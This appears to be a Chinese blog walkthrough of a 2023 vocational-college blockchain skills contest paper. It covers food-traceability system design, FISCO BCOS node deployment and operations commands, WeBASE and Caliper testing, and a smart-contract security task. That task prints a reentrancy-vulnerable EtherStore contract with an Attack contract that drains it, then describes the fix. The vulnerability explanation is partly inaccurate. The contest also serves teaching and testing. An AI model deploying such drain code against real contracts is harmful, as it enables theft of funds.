2023年全国职业院校技能大赛 高职组 “区块链技术应用” 赛项赛卷(1卷) ——操作指南

模块一:区块链产品方案设计及系统运维(35分)

1-1*提醒:使用VISIO或者其它设计工具完成产品方案设计

1.依据给定区块链食品溯源系统的业务架构图,对考题进行业务分析,尽可能多的去考虑一个业务系统所需要的模块,使用Visio或思维导图工具展现本系统的基本设计概念和处理流程,要求分为区块链食品溯源业务平台和支撑平台两个部分;
在这里插入图片描述
2.据描述,设计区块链系统的总体功能概览图

根据系统整体功能描述,系统中需要包括用户以及对应溯源订单相关的销售、收购、运输、收购以及生产流程。其中用户需要进行权限划分,不同权限的用户针对系统的操作将受限。例如具有生产商角色的用户只能进行生产订单的创建。同时系统需要具备查询功能,所有系统数据在进行脱敏后都可被所有用户查询。

使用本机自带的VISIO(或其它设计类)工具。
在这里插入图片描述

  1. 整合上述设计内容,完善“系统概要设计说明书.doc”,具体工作内容如下:
    将设计内容根据说明书中模块需求进行补充,并完善概要设计说明书中的“需求概要”。
    完善说明书中接口说明部分内容。

第一部分:将设计内容根据说明书中模块需求进行补充,并完善概要设计说明书中的“需求概要”。

2.3基本设计概念和处理流程
本系统软件部分可划分为浏览器页面、服务器端。用户通过浏览器访问相关页面,输入业务请求,发送到服务器端,调用业务系统接口处理后,把业务处理应答发送给客户端用户。

系统框架图如下:
参考答案:
在这里插入图片描述
2.3.1 登录业务功能模块
参考答案:
在这里插入图片描述

2.3.2 食品订单溯源功能模块
参考答案:
在这里插入图片描述

2.4结构
2.4.1 总体框图
在这里插入图片描述

根据系统整体功能描述,系统中需要包括用户以及对应溯源订单相关的销售、收购、运输、收购以及生产流程。其中用户需要进行权限划分,不同权限的用户针对系统的操作将受限。例如具有生产商角色的用户只能进行生产订单的创建。同时系统需要具备查询功能,所有系统数据在进行脱敏后都可被所有用户查询。

第二部分:完善说明书中接口说明部分内容。

在系统概要设计说明中完善接口

2.4.2.1 用户信息查询

1.功能描述
标识符 userInfo
功能 通过指定用户地址获取详细信息

  1. 接口功能
    在这里插入图片描述

2.4.2.2 生产订单创建

  1. 功能描述
    标识符 produce
    功能 生产商创建食品溯源中生产订单相关信息

  2. 接口功能
    在这里插入图片描述

2.4.2.3 分销订单创建

  1. 功能描述
    标识符 ditribute
    功能 分销商创建食品溯源中分销订单相关信息

  2. 接口功能
    在这里插入图片描述

2.4.2.4 销售订单创建

  1. 功能描述
    标识符 retail
    功能 分销商创建食品溯源中分销订单相关信息。

  2. 接口功能
    在这里插入图片描述

2.4.2.5 食品信息追溯查询

  1. 功能描述
    标识符 trace
    功能 通过指定订单号追溯食品信息

  2. 接口功能
    在这里插入图片描述

1-2操作手册
围绕食品安全溯源区块链平台部署与运维需求,进行项目相关系统、节点以及管理工具的部署工作。通过监控工具完成对网络、节点服务的监控。最终利用业务需求规范,完成系统日志、网络参数、节点服务等系统结构的维护。

  1. 根据参数与端口设置要求,部署区块链系统并验证;
  2. 根据参数与端口设置要求,部署区块链网络管理平台并验证;
  3. 基于区块链系统相关管理平台,按照任务指南实施系统运维工作并验证。
  4. 基于区块链系统相关监管工具,按照任务指南对区块链系统进行监管。

子任务1-2-1: 搭建区块链系统并验证
基于给定服务器环境以及软件(地址“/root/tools”),搭建一条4节点的区块链系统并验证,具体工作内容如下:
1-2-1.* 采用默认配置搭建区块链网络;
(1)配置网络(安装包在/root/tools/目录)
提示:如果已经搭建完成(即有nodes目录),删除rm -rf nodes,继续搭建。
在这里插入图片描述

命令: bash build_chain.sh -l 127.0.0.1:4 -p 30300,20200,8545 -e ./fisco-bcos -v 2.8.0
输出结果:
在这里插入图片描述

(2)启动网络节点(搭建完成会生成nodes目录)
命令: bash nodes/127.0.0.1/start_all.sh
输出:
在这里插入图片描述

1-2-1.* 通过命令验证区块链节点进程运行状况

检查进程
命令: ps -ef | grep -v grep | grep fisco-bcos
输出:
在这里插入图片描述

1-2-3. 通过命令验证区块链连接状态和共识状态日志输出
查看共识状态
命令: tail -f nodes/127.0.0.1/node0/log/log* | grep connected
提示“注意所处目录”
输出:
在这里插入图片描述

命令:tail -f nodes/127.0.0.1/node0/log/log* | grep +++++
在这里插入图片描述

1-2-2:搭建区块链系统管理平台并验证
基于给定服务器环境以及软件(地址“/root/tools”),搭建区块链控制台并开展相关运维工作,具体工作内容如下:
1.配置可视化平台,管理相关证书并启动。
安装console,解压console.tar.gz文件的命令:tar -zxvf console.tar.gz
在这里插入图片描述

(1)配置控制台证书。
命令:cp -n console/conf/config-example.toml console/conf/
命令:cp -r nodes/127.0.0.1/sdk/* console/conf/
操作截图:
在这里插入图片描述

(2)启动控制台
命令: cd console && bash start.sh
输出结果:
在这里插入图片描述

2.使用控制台部署HelloWorld智能合约。
部署合约
命令: deploy HelloWorld
此处需记录合约地址。
在这里插入图片描述

3.使用控制台完成HelloWorld智能合约的set与get操作
(1)调用set方法的操作(注意合约地址要用上一步部署的合约地址)
命令:
call HelloWorld 0x26255782cf37d290a00efaa4ca1201b1ff9be081 set “Hello,BlockChain”

此处合约地址需与上一步骤相同。
(2)调用get操作
命令:
call HelloWorld 0x76100ae3144953271ef0c4ef0933ef00f70cd137 get
在这里插入图片描述

  1. 使用控制台查看区块链中区块高度。
    命令:getBlockNumber
    在这里插入图片描述

1-2-3:区块链节点运维
基于已完成的区块链系统与管理平台搭建工作,开展区块链节点的加入与退出运维工作,具体内容如下:

  1. 获取区块链节点输出等级为警告级,并设置日志存储阈值为100MB并验证。
    (1)修改配置文件: cd /tools/127.0.0.1/ && vim node0/config.ini
    在这里插入图片描述

(2)重新启动节点node0,使配置文件生效。
命令:bash node0/stop.sh && node0/start.sh
在这里插入图片描述

  1. 通过给定工具(地址/root/tools)完成新节点(node4)配置
    生成新节点
    注意:如果查询不到连接状态,修改node4的配置文件中的日志级别为info。
    (1)使用gen_node_cert.sh生成新节点node4
    命令:cd /root/tools/ && bash gen_node_cert.sh -c nodes/cert/agency -o node4
    在这里插入图片描述

(2)将新节点node4复制到节点群nodes目录下。
命令:cp -r ./node4/ nodes/127.0.0.1/
在这里插入图片描述

(3)将新节点node4复制到节点群nodes目录下。
命令:cd nodes/127.0.0.1/ && cp node0/config.ini node0/start.sh node0/stop.sh node4/
在这里插入图片描述

(4)修改node4/config.ini
对于[rpc]模块,修改channel_listen_port和jsonrpc_listen_port;
对于[p2p]模块,修改listen_port并在node.中增加自身节点信息;
命令:vi node4/config.ini
在这里插入图片描述

(5)复制群组配置信息
命令:cp node1/conf/group.1.genesis node4/conf/ && cp node1/conf/group.1.ini node4/conf/
在这里插入图片描述

3.启动新节点加入区块链系统并验证
(1)启动新节点
命令: cd node4 && bash stop.sh && bash start.sh
在这里插入图片描述

(2)检查新节点连接情况
在这里插入图片描述

1-2-4:区块链网络运维
根据任务描述要求,完成网络配置与管理运维操作,具体内容如下:

  1. 设置区块链系统黑名单,将node3设为黑名单禁止连接,并验证
    设置黑名单
    (1)查看node0节点的连接状态日志(现有4个节点连接)
    注意:如果查询不到连接状态,修改node0的配置文件中的日志级别为info。
    命令:tail -f node0/log/log* | grep connected
    在这里插入图片描述

(2)编辑节点node0的config.ini文件,将node3设为黑名单禁止连接
命令:vi node0/config.ini
编辑certificate_blacklist,设置node3节点ID为黑名单。
查看node3的节点ID(cat nodes/127.0.0.1/node3/conf/node.nodeid)
在这里插入图片描述

注意:crl.0的注释;要删除(即把前置的分号删除)
(3)重新启动节点
命令:bash node0/stop.sh && node0/start.sh
在这里插入图片描述

(4)查看node0节点的连接状态日志(现有3个节点连接)
命令:tail -f node0/log/log* | grep connected

在这里插入图片描述
在这里插入图片描述

(5)重复操作(1)-(4)完成node1节点配置和验证
在这里插入图片描述

(6)重复操作(1)-(4)完成node2节点配置和验证
在这里插入图片描述

(7)重复操作(1)-(4)完成node4节点配置和验证
在这里插入图片描述

  1. 设置系统中区块打包最大交易数量设为2000。
    配置交易限制
    (1)启动控制台:命令:bash start.sh
    在这里插入图片描述

(2)设置区块打包最大交易数量为2000
命令: setSystemConfigByKey tx_count_limit 2000
在这里插入图片描述

  1. 验证区块最大打包交易数量情况。
    检查区块最大打包交易数量设置生效
    命令:getSystemConfigByKey tx_count_limit
    在这里插入图片描述

1-3操作手册

  1. 设计对区块链系统的测试流程;结合实际业务需求,调用部署的智能合约中进行系统测试、性能测试等;根据业务需求,分析并且修复给定智能合约中的安全漏洞。利用模拟业务和测试工具来完成对区块链系统服务数据的测试。
    题型:此处账户信息已经从webase导入到webase-front,已经验证一致(可不操作)。
    (1)使用命令启动区块链系统可视化一体平台并验证启动情况(工具在/root/tools/webase-deploy)
    提示:登录账号+密码(admin+ZGxt1234)
    命令: python3 deploy.py startAll
    在这里插入图片描述

实现基于浏览器测试启动情况验证(访问地址http://{服务端IP}:5000)
在这里插入图片描述

(2). 通过可视化平台生成包括生产商(Producer)、经销商(distributor)、零售商(retailer)账户,并将账户以p12加密形式导出后倒入指定前置可视化平台,验证地址一致性。

A.验证producer地址一致
在这里插入图片描述

以下为webase-front(访问地址:IP:5002/WeBASE-Front)
在这里插入图片描述

B.验证distributor地址一致
在这里插入图片描述
在这里插入图片描述
C.验证retailer地址一致
在这里插入图片描述在这里插入图片描述

  1. 使用Postman对上述功能接口进行验证,并将验证结果截图提交工程文档。
    在这里插入图片描述

需要将完整的合约部署到fisco上以及启动后端的工程项目。(工程目录为/root/project)

在/root/tools/目录下启动webase:
命令:python3 deploy.py startAll
通过127.0.0.1:5002/WeBASE-Front启动webase-front。
在这里插入图片描述

在/root/peoject/目录下启动项目,检查配置文件conf.properties中的合约和用户信息是否与webase-front一致。
在这里插入图片描述
在这里插入图片描述

运行trace的jar包项目,如下图:
如果地址已经被占用,使用pkill -9 nginx
在这里插入图片描述

对食品溯源系统服务端“添加食品”(/produce)功能接口进行验证,并将验证结果截图提交工程文档。
在这里插入图片描述

使用Postman正确调用情况如下作为参考:(此处的信息可根据情况调整填写)
traceNumber:10,
foodName:”Orange”,
traceName:”test”,
quality:2
在这里插入图片描述

3.* 参照工程项目(地址:“/opt/benchmarks”)使用Caliper测试工具对食品安全溯源系统智能合约生成新食品(newFood)功能进行压力测试。具体要求如下:
提醒:
在/root/tools/ webase-deploy目录下启动webase:
命令:python3 deploy.py startAll

vim /opt/benchmark/caliper-benchmark/networks/fisco-bcos/fisco-bcos.json
命令便捷查看网络配置是否是下图所示一致,一致即执行,不一致即修改为如下配置:

在这里插入图片描述

在/opt/benchmarks目录下执行命令:
npx caliper benchmark run --caliper-workspace caliper-benchmarks --caliper-benchconfig benchmarks/samples/fisco-bcos/trace/config.yaml --caliper-networkconfig networks/fisco-bcos/test-nw/fisco-bcos.json

运行结果:
在这里插入图片描述

浏览器输入 /opt/benchmarks/caliper-benchmarks/report.html 打开报告文件
在这里插入图片描述

4.* 智能合约安全漏洞测试。
打开Ganache。运行测试
在这里插入图片描述

VScode 打开合约漏洞工程 /home/zgxt/security/ReEntrancy 如下:
在这里插入图片描述

有如下问题智能合约:
pragma solidity >=0.8.3;

contract EtherStore {
mapping(address => uint) public balances;

function deposit() public payable {
    balances[msg.sender] += msg.value;
    emit Balance(balances[msg.sender]);
}

function withdraw() public {
    uint bal = balances[msg.sender];
    require(bal > 0);

    (bool sent, ) = msg.sender.call{value: bal}("");
    require(sent, "Failed to send Ether");

    balances[msg.sender] = 0;
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
    return address(this).balance;
}

}

contract Attack {
EtherStore public etherStore;

constructor(address _etherStoreAddress) {
    etherStore = EtherStore(_etherStoreAddress);
}

// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
    if (address(etherStore).balance >= 1) {
        etherStore.withdraw();
    }
}

function attack() external payable {
    require(msg.value >= 1);
    etherStore.deposit{value: 1}();
    etherStore.withdraw();
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
    return address(this).balance;
}

}
分析智能合约中存在问题,并说明危害。
漏洞说明
此智能合约存在“重入”即“Re-Entrance”问题,由于调用智能合约的转账操作需要通过打包后才会生效,可能出现重复提现从而使得其他合约账户被盗的问题。

根据truffle工具中的代码文件,编写测试用例,复现智能合约中存在的漏洞。

提醒:核心代码编辑已经完成,在对应项目目录下直接执行truffle test test/…js即可。
在这里插入图片描述

在/home/zgxt/security/ReEntrancy/migrations文件夹中的3_initial_ReEntrancy.js文件加入代码部署的执行代码:
在这里插入图片描述

/home/zgxt/security/ReEntrancy/test/ReEntrancy.js具体测试用例代码如下:
在这里插入图片描述

命令:truffle test test/ReEntrancy.js
当有如下执行返回说明复现成功:
在这里插入图片描述

创建新的智能合约,修复其中问题,说明修复内容并测试。

如下为具体修改内容,主要修复点为withdraw()的体现方法,具体操作为先将账户清零,再转账

在这里插入图片描述

使用同样的测试用例进行操作,如下为测试用例:
在这里插入图片描述

命令:truffle test test/ReEntrancyRepair.js
运行结果:
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值